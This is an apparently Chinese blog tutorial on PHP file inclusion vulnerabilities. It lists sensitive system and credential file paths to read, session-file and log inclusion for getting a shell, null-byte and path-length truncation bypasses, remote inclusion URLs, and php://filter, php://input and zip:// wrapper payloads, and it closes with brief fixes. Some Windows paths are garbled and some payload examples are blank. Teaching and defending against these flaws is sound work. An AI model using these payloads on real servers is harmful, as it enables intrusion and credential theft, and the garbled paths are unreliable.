• 文件包含漏洞小结


    1 有关概念

    前言:

      PHP中include和require的区别主要是:include在包含过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会知己报错并退出程序的执行。

    漏洞产生原因:

      文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。

    分类:

      本地文件包含和远程文件包含。

    2 本地文件包含

    可利用途径:

      ·上传图片:图片包含getshell

      ·读文件:读取php文件

      ·包含日志文件getshell

      ·包含/proc/self/environ/文件getshell

      ·有phpinfo可包含临时文件

      ·包含data://或php://inout等伪协议(需要allow_url_include=On)

    2.1 目录遍历敏感信息路径

    常见的敏感信息路径

    windows系统:

      c:oot.ini  //  查看系统版本

      c:windowssystem32inetsrcMetaBase.xml   //IIS配置文件

      c:windows epairsam   //存储windows系统初次安装的密码

      c:programFilesmysqlmy.ini  //MYSQL root密码

      c:windowsphp.ini // php 配置信息

    Linux/Unix系统

        /etc/passwd // 账户信息

        /etc/shadow // 账户密码文件

        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

        /usr/local/app/php5/lib/php.ini // PHP相关配置

        /etc/httpd/conf/httpd.conf // Apache配置文件

        /etc/my.conf // mysql 配置文件

    2.2 session文件包含

    利用条件:session存储位置可以获取

      获取方法1:通过phpinfo信息获取session存储位置

      获取方法2:猜测默认的session存放位置

        Linux下默认存放在/var/lib/php/session目录下

        windows默认C:WINDOWSTemp或集成环境下的tmp文件夹里

    方法:

      存在本地文件包含漏洞,可通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell

    2.3 有限制本地包含绕过

    绕过方法1:%00 截断

      条件:magic_quotes_gpc = Off PHP 版本<5.3.4

      测试:?filename=../../../../../../boot.ini%00

    绕过方法2:路径长度截断

      条件:windows下目录路径最大长度为256字节,超出部分将丢弃;

           Linux下目录最大长度为4096字节,超出长度将丢弃

      测试:?filename=text.txt././././.  或?filename=test.txt.....

    3 远程文件包含

      前提:服务器的php.ini的配置选项allow_url_fopen和allow_url_include为On,则include/require函数式可加载远程文件的。

    有限制远程包含绕过

     测试代码:<?php include($_GET['filename'].".html");?>  多添加了html后缀,到最后远程包含的文件 一会多一个HTML后缀

    问号绕过

      测试:?filename=http://192.168.91.133/FI/php.txt?

    #号绕过

      测试:?filenamr=http://192.168.91.133/FI/php.txt%23

    空格绕过

      测试:?filename=http://192.168.91.133/FI/php.txt%20

    4 PHP伪协议使用

    php://filter(本地磁盘文件读取)

    条件:只是读取,需要开启allow_url_fopen,不需开启allow_url_include

    用法:?filename=php://filter/convert.base64-encode/resource=xx.php

      或:?filwname=php://filter/read=convert.base64-encode/resource=xx.php

    php://input(读取post文件)

       遇到file_get_contents()就要想着用php://input绕过,因PHP伪协议也可里要补发http协议,即可使用post方式传递数据。

    测试代码:<?php echo file_get_contents("php://input");?>

    用法

    php://input(木马写入)

    条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

    测试代码:

      

    用法:  

      

    php://input(命令执行)

    条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

     测试代码:  

                  

    用法:

        

    zip://伪协议

    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php 

    5 漏洞挖掘

    无通用性方法

    特定CMS,特定版本可能存在

    web漏洞扫描器扫描

    6修复方案

    PHP中可使用open_basedir配置限制访问限制在指定的区域

    过滤.(点)/(反斜杠)(斜杠)

    进制服务器远程文件包含

  • 相关阅读:
    AtCoder Beginner Contest 145
    [kuangbin带你飞]专题二十二 区间DP
    记录学习记录你
    湖南大学七月夏令营-计算机科学与技术专业
    软件工程 之UML六大关系
    IDEA 中JAVAFX配置
    Vue项目打包后在本地运行:express本地服务器
    真机测试的方法
    解决坑的链接
    vue中实现先请求数据再渲染dom
  • 原文地址:https://www.cnblogs.com/appear001/p/11149996.html
Copyright © 2020-2023  润新知